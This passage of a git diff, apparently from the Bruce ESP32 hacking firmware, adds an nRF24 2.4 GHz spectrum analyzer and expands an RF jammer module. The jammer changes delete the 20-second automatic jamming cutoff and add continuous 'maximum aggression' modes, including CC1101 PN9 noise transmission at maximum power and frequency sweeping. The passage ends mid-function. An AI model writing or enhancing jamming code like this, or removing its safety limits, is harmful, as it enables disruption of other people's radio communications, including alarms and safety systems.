+static int waterfallY = 0;
+static unsigned long sweepCount = 0;
+
+// Device type detection for channels
+enum DeviceType { DEV_NONE, DEV_WIFI, DEV_BLE, DEV_BT, DEV_ZIGBEE };
+
+struct DeviceInfo {
+    const char *label;
+    uint16_t labelColor;
+};
+
+static const struct DeviceInfo deviceInfo[] = {
+    {nullptr,  TFT_BLACK  }, // DEV_NONE
+    {"WiFi",   TFT_WHITE  }, // DEV_WIFI
+    {"BLE",    TFT_CYAN   }, // DEV_BLE
+    {"BT",     TFT_MAGENTA}, // DEV_BT
+    {"Zigbee", TFT_GREEN  }, // DEV_ZIGBEE
+};
+
+// Detect device type from channel number
+static inline DeviceType getDeviceType(int channel) {
+    // WiFi: ch 1-14 (2.412-2.484 GHz) → NRF ch 12-84
+    if (channel >= 12 && channel <= 84) return DEV_WIFI;
+
+    // BLE Advertising: ch 37-39 (2.402, 2.426, 2.480 GHz) → NRF ch 2, 26, 80
+    if (channel == 2 || channel == 26 || channel == 80) return DEV_BLE;
+
+    // BT Classic: ch ~50-79 (2.450-2.480 GHz) → NRF ch 50-79
+    if (channel >= 50 && channel <= 79) return DEV_BT;
+
+    // Zigbee/Thread: ch 11-26 + 5-80 with 5MHz spacing (2.405-2.480 GHz) → NRF ch 5,10,15...80
+    if (channel >= 5 && channel <= 80 && (channel - 5) % 5 == 0) return DEV_ZIGBEE;
+
+    return DEV_NONE;
+}
+
+// ── Color gradient based on signal intensity (0-100) ────────────
+static uint16_t getSpectrumColor(uint8_t level) {
+    if (level > 85) return TFT_RED;
+    if (level > 65) return TFT_ORANGE;
+    if (level > 45) return TFT_YELLOW;
+    if (level > 25) return TFT_GREEN;
+    return TFT_DARKGREEN;
+}
+
+// ── Layout calculations ─────────────────────────────────────────
+static int spec_headerH;  // Header area height
+static int spec_footerH;  // Footer area height (freq labels)
+static int spec_barAreaY; // Top of bar area
+static int spec_barAreaH; // Height of bar area
+static int spec_mirrorH;  // Height of top mirror area
+static int spec_marginL;  // Left margin
+static int spec_drawW;    // Available drawing width (after margins)
+
+static void calcLayout() {
+    spec_headerH = 0;
+    spec_footerH = 14;
+    spec_mirrorH = 0; // Mirror removed — eliminates top artifacts
+    spec_barAreaY = 0;
+    spec_barAreaH = tftHeight - spec_footerH - 2;
+    spec_marginL = max(2, tftWidth / 80); // Small left margin
+    int marginR = spec_marginL;           // Symmetric right margin
+    spec_drawW = tftWidth - spec_marginL - marginR;
+}
+
+/// Get x position and width for channel i, distributed proportionally
+static inline void getBarGeom(int i, int &x, int &w) {
+    x = spec_marginL + (i * spec_drawW) / NRF_SPECTRUM_CHANNELS;
+    int nextX = spec_marginL + ((i + 1) * spec_drawW) / NRF_SPECTRUM_CHANNELS;
+    w = max(1, nextX - x);
+}
+
+// ── Scanning and drawing ────────────────────────────────────────
+String scanChannels(bool web) {
+    String result = web ? "{" : "";
+
+    // Toggle CE low during channel switch
+    digitalWrite(bruceConfigPins.NRF24_bus.io0, LOW);
+
+    for (int i = 0; i < NRF_SPECTRUM_CHANNELS; i++) {
+        NRFradio.setChannel(i);
+        NRFradio.startListening();
+        delayMicroseconds(170); // 130µs PLL settle + 40µs RPD sample window
+        NRFradio.stopListening();
+
+        int rpd = NRFradio.testRPD() ? 1 : 0;
+
+        // EMA smoothing: fast attack, medium decay
+        // Attack: signal instantly jumps to ~50 on first hit
+        // Decay: drops ~25% per sweep when signal gone
+        if (rpd) {
+            channel[i] = (uint8_t)min(100, (int)((channel[i] + 100) / 2));
+            deviceLabelTimer[i] = LABEL_DECAY_SWEEPS; // Reset label timer on active signal
+        } else {
+            channel[i] = (uint8_t)((channel[i] * 3) / 4);
+            // Decay label timer when no signal
+            if (deviceLabelTimer[i] > 0) { deviceLabelTimer[i]--; }
+        }
+
+        // Peak hold tracking
+        if (channel[i] >= peakHold[i]) {
+            peakHold[i] = channel[i];
+            peakTimer[i] = PEAK_HOLD_SWEEPS;
+        } else if (peakTimer[i] > 0) {
+            peakTimer[i]--;
+        } else {
+            if (peakHold[i] > 2) peakHold[i] -= 2;
+            else peakHold[i] = 0;
+        }
+    }
+
+    digitalWrite(bruceConfigPins.NRF24_bus.io0, HIGH);
+
+    sweepCount++;
+
+    // ── Draw spectrum bars (modes 0, 1, 2) ──────────────────────
+    if (specDisplayMode != 3) {
+    uint8_t maxLevel = 0;
+    uint8_t maxCh = 0;
+
+    for (int i = 0; i < NRF_SPECTRUM_CHANNELS; i++) {
+        int x, w;
+        getBarGeom(i, x, w);
+
+        int level = channel[i];
+        if (level > maxLevel) {
+            maxLevel = level;
+            maxCh = i;
+        }
+
+        int barH = (level * spec_barAreaH) / 100;
+        int peakH = (peakHold[i] * spec_barAreaH) / 100;
+
+        // Grid line color (every 10 channels)
+        uint16_t gridColor = (i % 10 == 0) ? TFT_DARKGREY : bruceConfig.bgColor;
+
+        // Main bar area: clear above, draw bar from bottom
+        if (barH < spec_barAreaH) { tft.fillRect(x, spec_barAreaY, w, spec_barAreaH - barH, gridColor); }
+        if (barH > 0) {
+            uint16_t barColor = getSpectrumColor(level);
+            tft.fillRect(x, spec_barAreaY + spec_barAreaH - barH, w, barH, barColor);
+        }
+
+        // Peak hold marker (Mode 0 only): white line segment
+        if (specDisplayMode == 0 && peakH > 0 && peakH >= barH) {
+            int peakY = spec_barAreaY + spec_barAreaH - peakH;
+            if (peakY >= spec_barAreaY && peakY < spec_barAreaY + spec_barAreaH) {
+                tft.fillRect(x, peakY, w, 1, TFT_WHITE);
+            }
+        }
+
+        if (web) {
+            if (i > 0) result += ",";
+            result += String(level);
+        }
+    }
+
+    // Stats overlay (top, drawn after all bars)
+    {
+        int activeCh = 0;
+        for (int i = 0; i < NRF_SPECTRUM_CHANNELS; i++) {
+            if (channel[i] > 10) activeCh++;
+        }
+        tft.setTextSize(FP);
+        char statBuf[36];
+        int stY = 1;
+        // Right: peak info
+        if (maxLevel > 10) {
+            int peakFreq = 2400 + (int)maxCh;
+            snprintf(statBuf, sizeof(statBuf), "PK:%dMHz %d%%", peakFreq, (int)maxLevel);
+            tft.fillRect(tftWidth - 110, stY, 110, 9, bruceConfig.bgColor);
+            tft.setTextColor(TFT_YELLOW, bruceConfig.bgColor);
+            tft.drawRightString(statBuf, tftWidth - spec_marginL - 2, stY, 1);
+        }
+        // Left (below mode): active + sweep count
+        snprintf(statBuf, sizeof(statBuf), "ACT:%d SW:%lu", activeCh, sweepCount);
+        tft.fillRect(spec_marginL, stY + 10, 90, 9, bruceConfig.bgColor);
+        tft.setTextColor(TFT_CYAN, bruceConfig.bgColor);
+        tft.drawString(statBuf, spec_marginL, stY + 10, 1);
+    }
+
+    // ── Draw device labels (Mode 2 only) ──────────────────────────
+    if (specDisplayMode == 2) {
+        // Group labels by channel and stack vertically
+        int labelY = 2;
+        for (int i = 0; i < NRF_SPECTRUM_CHANNELS; i++) {
+            // Show label if signal present or timer still active
+            if ((channel[i] > 10) || (deviceLabelTimer[i] > 0)) {
+                DeviceType dev = getDeviceType(i);
+
+                if (dev != DEV_NONE) {
+                    // Display known device label
+                    int x, w;
+                    getBarGeom(i, x, w);
+                    int labelX = x + w / 2; // Center on channel
+
+                    tft.setTextSize(FP);
+                    tft.setTextColor(deviceInfo[dev].labelColor, bruceConfig.bgColor);
+                    tft.drawCentreString(deviceInfo[dev].label, labelX, labelY, 1);
+
+                    labelY += 8;                       // Stack labels vertically
+                    if (labelY > tftHeight / 4) break; // Prevent overflow
+                } else if (channel[i] > 10) {
+                    // Unknown device: show small "?" in gray
+                    int x, w;
+                    getBarGeom(i, x, w);
+                    int labelX = x + w / 2;
+
+                    tft.setTextSize(1); // Tiny font
+                    tft.setTextColor(TFT_DARKGREY, bruceConfig.bgColor);
+                    tft.drawCentreString("?", labelX, labelY, 1);
+
+                    labelY += 6;
+                    if (labelY > tftHeight / 5) break;
+                }
+            }
+        }
+    }
+    } // end if (specDisplayMode != 3)
+
+    // ── Waterfall mode (mode 3) ─────────────────────────────────
+    if (specDisplayMode == 3) {
+        int rowH = max(2, spec_barAreaH / 60);
+        for (int i = 0; i < NRF_SPECTRUM_CHANNELS; i++) {
+            int x, w;
+            getBarGeom(i, x, w);
+            uint16_t color = (channel[i] > 3) ? getSpectrumColor(channel[i]) : bruceConfig.bgColor;
+            tft.fillRect(x, spec_barAreaY + waterfallY, w, rowH, color);
+        }
+        // Draw cursor line at next position
+        int nextY = waterfallY + rowH;
+        if (nextY < spec_barAreaH) {
+            tft.drawFastHLine(spec_marginL, spec_barAreaY + nextY, spec_drawW, TFT_DARKGREY);
+        }
+        waterfallY += rowH;
+        if (waterfallY >= spec_barAreaH) waterfallY = 0;
+    }
+
+    if (web) result += "}";
+    return result;
+}
+
+void nrf_spectrum() {
+    tft.fillScreen(bruceConfig.bgColor);
+
+    // Initialize data
+    memset(channel, 0, sizeof(channel));
+    memset(peakHold, 0, sizeof(peakHold));
+    memset(peakTimer, 0, sizeof(peakTimer));
+    memset(deviceLabelTimer, 0, sizeof(deviceLabelTimer));
+    specDisplayMode = 0; // Start in mode 0
+    waterfallY = 0;
+    sweepCount = 0;
+
+    // Calculate layout
+    calcLayout();
+
+    // Draw frequency labels at bottom with WiFi channel markers
+    tft.setTextSize(FP);
+    tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+    int labelY = tftHeight - spec_footerH + 2;
+    tft.drawString("2.400", spec_marginL, labelY, 1);
+    tft.drawCentreString("2.462", tftWidth / 2, labelY, 1);
+    tft.drawRightString("2.525", tftWidth - spec_marginL, labelY, 1);
+
+    // WiFi channel markers (ch1=nrf12, ch6=nrf37, ch11=nrf62)
+    tft.setTextColor(TFT_CYAN, bruceConfig.bgColor);
+    int wifiChs[] = {12, 37, 62};
+    const char *wifiLabels[] = {"W1", "W6", "W11"};
+    for (int w = 0; w < 3; w++) {
+        int wx, ww;
+        getBarGeom(wifiChs[w], wx, ww);
+        tft.drawCentreString(wifiLabels[w], wx + ww / 2, labelY + 7, 1);
+        // Draw vertical tick mark at separator line
+        tft.drawFastVLine(wx + ww / 2, spec_barAreaY + spec_barAreaH + 1, 3, TFT_CYAN);
+    }
+
+    // Draw separator line
+    tft.drawFastHLine(0, spec_barAreaY + spec_barAreaH + 1, tftWidth, TFT_DARKGREY);
+
+    // Draw mode indicator
+    tft.setTextSize(FP);
+    tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+    const char *modeStr[] = {"Mode:Peak", "Mode:Bar", "Mode:Dev", "Mode:WF"};
+    tft.drawString(modeStr[specDisplayMode], spec_marginL, 2, 1);
+
+    if (nrf_start(NRF_MODE_SPI)) {
+        // Configure for wideband spectrum sensing
+        NRFradio.setAutoAck(false);
+        NRFradio.disableCRC();
+        NRFradio.setAddressWidth(2);
+
+        // Open 6 reading pipes at noise-detection addresses
+        // More pipes = higher sensitivity (radio checks all in parallel)
+        const uint8_t noiseAddress[][2] = {
+            {0x55, 0x55},
+            {0xAA, 0xAA},
+            {0xA0, 0xAA},
+            {0xAB, 0xAA},
+            {0xAC, 0xAA},
+            {0xAD, 0xAA}
+        };
+        for (uint8_t i = 0; i < 6; ++i) { NRFradio.openReadingPipe(i, noiseAddress[i]); }
+
+        NRFradio.setDataRate(RF24_1MBPS);
+
+        while (!check(EscPress)) {
+            scanChannels();
+
+            // SEL to cycle through modes
+            if (check(SelPress)) {
+                specDisplayMode = (specDisplayMode + 1) % 4;
+                waterfallY = 0;
+                // Clear only spectrum bar area, preserve frequency labels at bottom
+                tft.fillRect(0, spec_barAreaY, tftWidth, spec_barAreaH, bruceConfig.bgColor);
+                delay(200);
+            }
+        }
+
+        NRFradio.stopListening();
+        NRFradio.powerDown();
+        delay(250);
+    } else {
+        Serial.println("Fail Starting radio");
+        displayError("NRF24 not found");
+        delay(500);
+    }
+}
diff --git a/src/modules/NRF24/nrf_spectrum.h b/src/modules/NRF24/nrf_spectrum.h
index 2e108e645..be57ae6bd 100644
--- a/src/modules/NRF24/nrf_spectrum.h
+++ b/src/modules/NRF24/nrf_spectrum.h
@@ -1,27 +1,10 @@
-/**
- * @file nrf_spectrum.h
- * @brief Enhanced 2.4 GHz spectrum analyzer using nRF24L01+ RPD register.
- *
- * Scans 126 channels (2.400-2.525 GHz, full ISM band) with color
- * gradient visualization, peak hold markers, and adaptive layout
- * for all Bruce-supported screen sizes.
- *
- * Supports PA+LNA modules (E01-ML01SP2) for improved sensitivity.
- */
 #ifndef __NRF_SPECTRUM_H
 #define __NRF_SPECTRUM_H
-
 #include "modules/NRF24/nrf_common.h"
+#include <RF24.h>
 
-/// Number of channels to scan (0-125 = 126 channels, full nRF24L01+ range)
-#define NRF_SPECTRUM_CHANNELS 126
-
-/// Main spectrum analyzer function (interactive, exits on ESC)
 void nrf_spectrum();
 
-/// Perform one scanning sweep and draw results.
-/// @param web  If true, returns JSON string of channel values.
-/// @return JSON string if web=true, empty string otherwise.
 String scanChannels(bool web = false);
 
-#endif // __NRF_SPECTRUM_H
+#endif
diff --git a/src/modules/rf/rf_jammer.cpp b/src/modules/rf/rf_jammer.cpp
index 6bde6d172..7554d7a8c 100644
--- a/src/modules/rf/rf_jammer.cpp
+++ b/src/modules/rf/rf_jammer.cpp
@@ -1,157 +1,542 @@
 #include "rf_jammer.h"
 #include "core/display.h"
+#include "core/mykeyboard.h"
 #include "rf_utils.h"
+#include <ELECHOUSE_CC1101_SRC_DRV.h>
+#include <globals.h>
 
-static const uint32_t MAX_JAM_TIME_MS = 20000;
 static const uint32_t MAX_SEQUENCE = 50;
 static const uint32_t DURATION_CYCLES = 3;
 
-RFJammer::RFJammer(bool full) : fullJammer(full) { 
-    setup(); 
+static const char *JAM_MODE_NAMES[] = {"FULL POWER", "INTERMITTENT", "NOISE STORM", "FREQ SWEEP"};
+static const uint16_t JAM_MODE_COLORS[] = {TFT_RED, TFT_ORANGE, TFT_MAGENTA, TFT_CYAN};
+
+RFJammer::RFJammer(bool full) {
+    jamMode = full ? RF_JAM_FULL : RF_JAM_ITMT;
+    setup();
+}
+
+RFJammer::~RFJammer() {
+    deinitRfModule();
 }
 
-RFJammer::~RFJammer() { 
-    deinitRfModule(); 
+// ── Mode selection menu ─────────────────────────────────────────
+RFJamMode RFJammer::showModeMenu(bool defaultFull) {
+    isCC1101 = (bruceConfigPins.rfModule == CC1101_SPI_MODULE);
+
+    int menuIdx = defaultFull ? 0 : 1;
+    bool redraw = true;
+    int modeCount = isCC1101 ? RF_JAM_MODE_COUNT : 2; // Only Full+Itmt for raw GPIO
+
+    while (true) {
+        if (check(EscPress)) return (RFJamMode)255; // Cancel
+
+        if (redraw) {
+            drawMainBorderWithTitle("RF JAMMER MODE");
+            tft.setTextSize(FP);
+
+            int y = BORDER_PAD_Y + FM * LH + 4;
+            int lineH = max(14, tftHeight / (modeCount + 4));
+
+            for (int i = 0; i < modeCount; i++) {
+                int itemY = y + i * lineH;
+                uint16_t fg = (i == menuIdx) ? bruceConfig.bgColor : bruceConfig.priColor;
+                uint16_t bg = (i == menuIdx) ? JAM_MODE_COLORS[i] : bruceConfig.bgColor;
+
+                tft.fillRect(7, itemY, tftWidth - 14, lineH - 2, bg);
+                tft.setTextColor(fg, bg);
+                tft.drawCentreString(JAM_MODE_NAMES[i], tftWidth / 2, itemY + 2, 1);
+            }
+
+            // Description of selected mode
+            int descY = y + modeCount * lineH + 4;
+            tft.fillRect(7, descY, tftWidth - 14, lineH * 2, bruceConfig.bgColor);
+            tft.setTextColor(TFT_DARKGREY, bruceConfig.bgColor);
+            const char *descs[] = {
+                "Max duty cycle continuous TX",
+                "Varied pulse patterns + bursts",
+                "CC1101 HW random noise (PN9)",
+                "Sweep +/-5MHz around target"
+            };
+            tft.drawCentreString(descs[menuIdx], tftWidth / 2, descY + 2, 1);
+
+            // Footer
+            int footerY = tftHeight - BORDER_PAD_X - FP * LH - 2;
+            tft.fillRect(7, footerY, tftWidth - 14, FP * LH, bruceConfig.bgColor);
+            tft.setTextColor(TFT_DARKGREY, bruceConfig.bgColor);
+            tft.drawCentreString("[OK]Select [ESC]Back", tftWidth / 2, footerY, 1);
+
+            redraw = false;
+        }
+
+        if (check(NextPress)) { menuIdx = (menuIdx + 1) % modeCount; redraw = true; }
+        if (check(PrevPress)) { menuIdx = (menuIdx + modeCount - 1) % modeCount; redraw = true; }
+        if (check(SelPress)) return (RFJamMode)menuIdx;
+
+        delay(50);
+    }
 }
 
 void RFJammer::setup() {
+    // Show mode selection first
+    RFJamMode selected = showModeMenu(jamMode == RF_JAM_FULL);
+    if ((uint8_t)selected == 255) { sendRF = false; return; }
+    jamMode = selected;
+
     nTransmitterPin = bruceConfigPins.rfTx;
-    if (!initRfModule("tx")) return;
+    if (!initRfModule("tx")) { sendRF = false; return; }
 
-    if (bruceConfigPins.rfModule == CC1101_SPI_MODULE) {
+    isCC1101 = (bruceConfigPins.rfModule == CC1101_SPI_MODULE);
+    if (isCC1101) {
         nTransmitterPin = bruceConfigPins.CC1101_bus.io0;
     }
 
     sendRF = true;
+    pulseCount = 0;
+    sweepCount = 0;
     display_banner();
 
-    if (fullJammer) run_full_jammer();
-    else run_itmt_jammer();
+    switch (jamMode) {
+        case RF_JAM_FULL:  run_full_jammer();  break;
+        case RF_JAM_ITMT:  run_itmt_jammer();  break;
+        case RF_JAM_NOISE: run_noise_jammer(); break;
+        case RF_JAM_SWEEP: run_sweep_jammer(); break;
+        default: break;
+    }
 }
 
 void RFJammer::display_banner() {
-    drawMainBorderWithTitle("RF Jammer");
-    printSubtitle(String(fullJammer ? "Full Jammer" : "Intermittent Jammer"));
-    padprintln("Sending...");
-    padprintln("");
-    padprintln("");
-    
-    tft.setTextColor(getColorVariation(bruceConfig.priColor), bruceConfig.bgColor);
-    padprintln("Press [ESC] for options.");
-    tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+    drawMainBorderWithTitle("RF JAMMER");
+
+    int y = BORDER_PAD_Y + FM * LH + 4;
+    int lineH = max(14, tftHeight / 10);
+    tft.setTextSize(FP);
+    char buf[40];
+
+    // Line 1: Mode badge (centered, colored rounded rect)
+    const char *modeName = JAM_MODE_NAMES[jamMode];
+    uint16_t modeClr = JAM_MODE_COLORS[jamMode];
+    int mbW = strlen(modeName) * 6 + 10;
+    int mbX = (tftWidth - mbW) / 2;
+    tft.fillRoundRect(mbX, y, mbW, lineH - 2, 3, modeClr);
+    tft.setTextColor(TFT_BLACK, modeClr);
+    tft.drawCentreString(modeName, tftWidth / 2, y + 2, 1);
+    y += lineH;
+
+    // Line 2: Frequency + Module badge
+    tft.fillRect(7, y, tftWidth - 14, lineH, bruceConfig.bgColor);
+    tft.setTextColor(TFT_CYAN, bruceConfig.bgColor);
+    snprintf(buf, sizeof(buf), "%.2f MHz", bruceConfigPins.rfFreq);
+    tft.drawString(buf, 12, y + 2, 1);
+    const char *modStr = isCC1101 ? "CC1101" : "RAW TX";
+    int mdW = strlen(modStr) * 6 + 8;
+    int mdX = tftWidth - 12 - mdW;
+    tft.fillRoundRect(mdX, y + 1, mdW, lineH - 3, 3, TFT_DARKGREY);
+    tft.setTextColor(TFT_WHITE, TFT_DARKGREY);
+    tft.drawCentreString(modStr, mdX + mdW / 2, y + 2, 1);
+    y += lineH;
+
+    // Line 3: Timer + Stats
+    tft.setTextColor(TFT_YELLOW, bruceConfig.bgColor);
+    tft.drawString("00:00", 12, y + 2, 1);
+    tft.setTextColor(TFT_DARKGREY, bruceConfig.bgColor);
+    if (jamMode == RF_JAM_SWEEP) {
+        tft.drawRightString("Sweeps: 0", tftWidth - 12, y + 2, 1);
+    } else {
+        tft.drawRightString("Pulses: 0", tftWidth - 12, y + 2, 1);
+    }
+    y += lineH;
+
+    // Line 4: TX Power bar (gradient fill)
+    {
+        int bX = 12, bW = tftWidth - 24;
+        int bH = max(6, lineH - 6);
+        int bY = y + (lineH - bH) / 2;
+        tft.drawRect(bX, bY, bW, bH, bruceConfig.priColor);
+        int segW = (bW - 2) / 4;
+        tft.fillRect(bX + 1, bY + 1, segW, bH - 2, TFT_GREEN);
+        tft.fillRect(bX + 1 + segW, bY + 1, segW, bH - 2, TFT_YELLOW);
+        tft.fillRect(bX + 1 + segW * 2, bY + 1, segW, bH - 2, TFT_ORANGE);
+        tft.fillRect(bX + 1 + segW * 3, bY + 1, bW - 2 - segW * 3, bH - 2, TFT_RED);
+        tft.setTextColor(TFT_WHITE, TFT_BLACK);
+        tft.drawCentreString("TX POWER", tftWidth / 2, bY + 1, 1);
+    }
+    y += lineH;
+
+    // Line 5: ACTIVE indicator with dot
+    tft.fillCircle(tftWidth / 2 - 50, y + lineH / 2, 4, modeClr);
+    tft.setTextColor(modeClr, bruceConfig.bgColor);
+    tft.drawString("JAMMING ACTIVE", tftWidth / 2 - 38, y + 2, 1);
+
+    // Footer
+    int footerY = tftHeight - BORDER_PAD_X - FP * LH - 2;
+    tft.setTextColor(TFT_DARKGREY, bruceConfig.bgColor);
+    tft.drawCentreString("[ESC] Stop", tftWidth / 2, footerY, 1);
+}
+
+void RFJammer::update_display(uint32_t elapsedMs) {
+    unsigned long secs = elapsedMs / 1000;
+    unsigned long mins = secs / 60;
+    secs %= 60;
+
+    int y = BORDER_PAD_Y + FM * LH + 4;
+    int lineH = max(14, tftHeight / 10);
+    y += lineH * 2; // Skip to timer line
+
+    // Update timer + stats
+    tft.fillRect(7, y, tftWidth - 14, lineH, bruceConfig.bgColor);
+    tft.setTextSize(FP);
+    tft.setTextColor(TFT_YELLOW, bruceConfig.bgColor);
+    char buf[30];
+    snprintf(buf, sizeof(buf), "%02lu:%02lu", mins, secs);
+    tft.drawString(buf, 12, y + 2, 1);
+    tft.setTextColor(TFT_CYAN, bruceConfig.bgColor);
+    if (jamMode == RF_JAM_SWEEP) {
+        snprintf(buf, sizeof(buf), "Sweeps: %lu", (unsigned long)sweepCount);
+    } else {
+        snprintf(buf, sizeof(buf), "P: %lu", (unsigned long)pulseCount);
+    }
+    tft.drawRightString(buf, tftWidth - 12, y + 2, 1);
+
+    // Blink activity dot
+    y += lineH * 2; // Skip to ACTIVE line
+    uint16_t modeClr = JAM_MODE_COLORS[jamMode];
+    bool dotOn = (secs % 2 == 0);
+    tft.fillCircle(tftWidth / 2 - 50, y + lineH / 2, 4, dotOn ? modeClr : bruceConfig.bgColor);
 }
 
+// ── FULL POWER: Maximum duty cycle continuous TX ────────────────
+// Aggressive multi-pattern approach: alternates between sustained carrier,
+// rapid micro-glitches, and burst disruption patterns for maximum spectral
+// pollution across the widest bandwidth possible.
 void RFJammer::run_full_jammer() {
     digitalWrite(nTransmitterPin, HIGH);
     uint32_t startTime = millis();
     uint32_t lastCheckTime = startTime;
-    
+    uint32_t lastDisplayTime = startTime;
+    uint8_t phase = 0; // Cycle through 3 attack phases
+
     while (sendRF) {
-        static uint8_t microPulse = 0;
-        
-        if (micros() % 100 < 2) {
+        uint32_t currentTime = millis();
+        uint32_t elapsed = currentTime - startTime;
+
+        // Phase rotation every 100ms for maximum spectral diversity
+        phase = (elapsed / 100) % 3;
+
+        switch (phase) {
+        case 0:
+            // Phase A: Ultra-rapid micro-glitches (1µs LOW every 4µs)
+            for (int i = 0; i < 100 && sendRF; i++) {
+                digitalWrite(nTransmitterPin, HIGH);
+                delayMicroseconds(3);
+                digitalWrite(nTransmitterPin, LOW);
+                delayMicroseconds(1);
+                pulseCount++;
+            }
+            break;
+        case 1:
+            // Phase B: Variable-width burst disruption (2-20µs pulses)
+            for (int i = 0; i < 50 && sendRF; i++) {
+                uint32_t w = 2 + (micros() % 18);
+                digitalWrite(nTransmitterPin, HIGH);
+                delayMicroseconds(w);
+                digitalWrite(nTransmitterPin, LOW);
+                delayMicroseconds(1);
+                pulseCount++;
+            }
+            break;
+        case 2:
+            // Phase C: Sustained carrier with periodic hard cuts
+            digitalWrite(nTransmitterPin, HIGH);
+            delayMicroseconds(80);
             digitalWrite(nTransmitterPin, LOW);
-            delayMicroseconds(1);
+            delayMicroseconds(2);
             digitalWrite(nTransmitterPin, HIGH);
+            delayMicroseconds(80);
+            pulseCount += 2;
+            break;
         }
-        
-        uint32_t currentTime = millis();
+
         if (currentTime - lastCheckTime > 100) {
             lastCheckTime = currentTime;
-            
-            if (check(EscPress) || (currentTime - startTime > MAX_JAM_TIME_MS)) {
+            if (check(EscPress)) {
                 sendRF = false;
                 returnToMenu = true;
                 break;
             }
         }
-        
-        if (currentTime % 500 < 10) {
-            digitalWrite(nTransmitterPin, LOW);
-            delayMicroseconds(5);
-            digitalWrite(nTransmitterPin, HIGH);
+
+        if (currentTime - lastDisplayTime >= 1000) {
+            lastDisplayTime = currentTime;
+            update_display(currentTime - startTime);
         }
     }
     digitalWrite(nTransmitterPin, LOW);
 }
 
+// ── INTERMITTENT: Varied pulse patterns + bursts ────────────────
 void RFJammer::run_itmt_jammer() {
     uint32_t startTime = millis();
     uint32_t lastCheckTime = startTime;
-    
+    uint32_t lastDisplayTime = startTime;
+
     uint32_t sequenceValues[MAX_SEQUENCE];
-    for (int i = 0; i < MAX_SEQUENCE; i++) {
+    for (uint32_t i = 0; i < MAX_SEQUENCE; i++) {
         sequenceValues[i] = 10 * (i + 1);
     }
-    
+
     while (sendRF) {
-        for (int sequence = 0; sequence < MAX_SEQUENCE && sendRF; sequence++) {
+        // Forward sweep: 10µs → 500µs
+        for (uint32_t sequence = 0; sequence < MAX_SEQUENCE && sendRF; sequence++) {
             uint32_t pulseWidth = sequenceValues[sequence];
-            
-            for (int duration = 0; duration < DURATION_CYCLES && sendRF; duration++) {
+
+            for (uint32_t duration = 0; duration < DURATION_CYCLES && sendRF; duration++) {
                 send_optimized_pulse(pulseWidth);
-                
+                pulseCount++;
+
                 uint32_t currentTime = millis();
                 if (currentTime - lastCheckTime > 50) {
                     lastCheckTime = currentTime;
-                    
-                    if (check(EscPress) || (currentTime - startTime > MAX_JAM_TIME_MS)) {
+                    if (check(EscPress)) {
                         sendRF = false;
                         returnToMenu = true;
                         break;
                     }
                 }
+
+                if (currentTime - lastDisplayTime >= 1000) {
+                    lastDisplayTime = currentTime;
+                    update_display(currentTime - startTime);
+                }
+            }
+        }
+
+        // Reverse sweep: 500µs → 10µs for chirp effect
+        for (int sequence = MAX_SEQUENCE - 1; sequence >= 0 && sendRF; sequence--) {
+            send_optimized_pulse(sequenceValues[sequence]);
+            pulseCount++;
+
+            uint32_t currentTime = millis();
+            if (currentTime - lastCheckTime > 50) {
+                lastCheckTime = currentTime;
+                if (check(EscPress)) { sendRF = false; returnToMenu = true; break; }
+            }
+            if (currentTime - lastDisplayTime >= 1000) {
+                lastDisplayTime = currentTime;
+                update_display(currentTime - startTime);
             }
         }
-        
+
+        // Random noise burst
         if (sendRF) {
-            send_random_pattern(100);
+            send_random_pattern(200);
+            pulseCount += 200;
         }
     }
     digitalWrite(nTransmitterPin, LOW);
 }
 
-void RFJammer::send_optimized_pulse(int width) {
+// ── NOISE STORM: CC1101 PN9 hardware random TX ─────────────────
+// Uses CC1101's internal PN9 pseudo-random generator to transmit
+// continuous modulated noise at maximum bandwidth. Cycles between
+// modulation schemes (ASK→2FSK→MSK) for wideband spectral coverage.
+void RFJammer::run_noise_jammer() {
+    if (!isCC1101) return;
+
+    // Switch CC1101 to PN9 random TX mode — maximum aggression
+    ELECHOUSE_cc1101.setSidle();
+    ELECHOUSE_cc1101.setPktFormat(2);   // PN9 random TX mode
+    ELECHOUSE_cc1101.setDRate(800);     // Push data rate higher for wider occupied BW
+    ELECHOUSE_cc1101.setModulation(2);  // Start with ASK/OOK
+    ELECHOUSE_cc1101.setDeviation(47.6);// Max deviation for FSK modes
+    ELECHOUSE_cc1101.setRxBW(812);      // Widest RX BW setting (not critical for TX but sets filter)
+    ELECHOUSE_cc1101.setPA(12);         // Maximum TX power
+    ELECHOUSE_cc1101.SetTx();
+
+    uint32_t startTime = millis();
+    uint32_t lastDisplayTime = startTime;
+
+    // Update mode badge text for noise mode
+    int y = BORDER_PAD_Y + FM * LH + 4;
+    int lineH = max(14, tftHeight / 10);
+    y += lineH * 4; // ACTIVE line
+    tft.fillRect(7, y, tftWidth - 14, lineH, bruceConfig.bgColor);
+    tft.fillCircle(tftWidth / 2 - 50, y + lineH / 2, 4, TFT_MAGENTA);
+    tft.setTextColor(TFT_MAGENTA, bruceConfig.bgColor);
+    tft.setTextSize(FP);
+    tft.drawString("PN9 HW NOISE TX", tftWidth / 2 - 38, y + 2, 1);
+
+    uint8_t modCycle = 0;
+    static const uint8_t modSchemes[] = {2, 0, 1}; // ASK, 2FSK, MSK
+    static const char *modNames[] = {"ASK/OOK", "2-FSK", "MSK"};
+
+    while (sendRF) {
+        uint32_t currentTime = millis();
+
+        // Cycle modulation scheme every 3 seconds for spectral diversity
+        uint8_t newMod = ((currentTime - startTime) / 3000) % 3;
+        if (newMod != modCycle) {
+            modCycle = newMod;
+            ELECHOUSE_cc1101.setSidle();
+            ELECHOUSE_cc1101.setModulation(modSchemes[modCycle]);
+            ELECHOUSE_cc1101.SetTx();
+
+            // Show current modulation on display
+            int modY = BORDER_PAD_Y + FM * LH + 4 + max(14, tftHeight / 10) * 4;
+            tft.fillRect(7, modY, tftWidth - 14, max(14, tftHeight / 10), bruceConfig.bgColor);
+            tft.fillCircle(tftWidth / 2 - 50, modY + max(14, tftHeight / 10) / 2, 4, TFT_MAGENTA);
+            tft.setTextColor(TFT_MAGENTA, bruceConfig.bgColor);
+            tft.setTextSize(FP);
+            char modBuf[30];
+            snprintf(modBuf, sizeof(modBuf), "PN9 %s TX", modNames[modCycle]);
+            tft.drawString(modBuf, tftWidth / 2 - 38, modY + 2, 1);
+        }
+
+        if (currentTime - lastDisplayTime >= 1000) {
+            lastDisplayTime = currentTime;
+            pulseCount = (currentTime - startTime) / 1000;
+            update_display(currentTime - startTime);
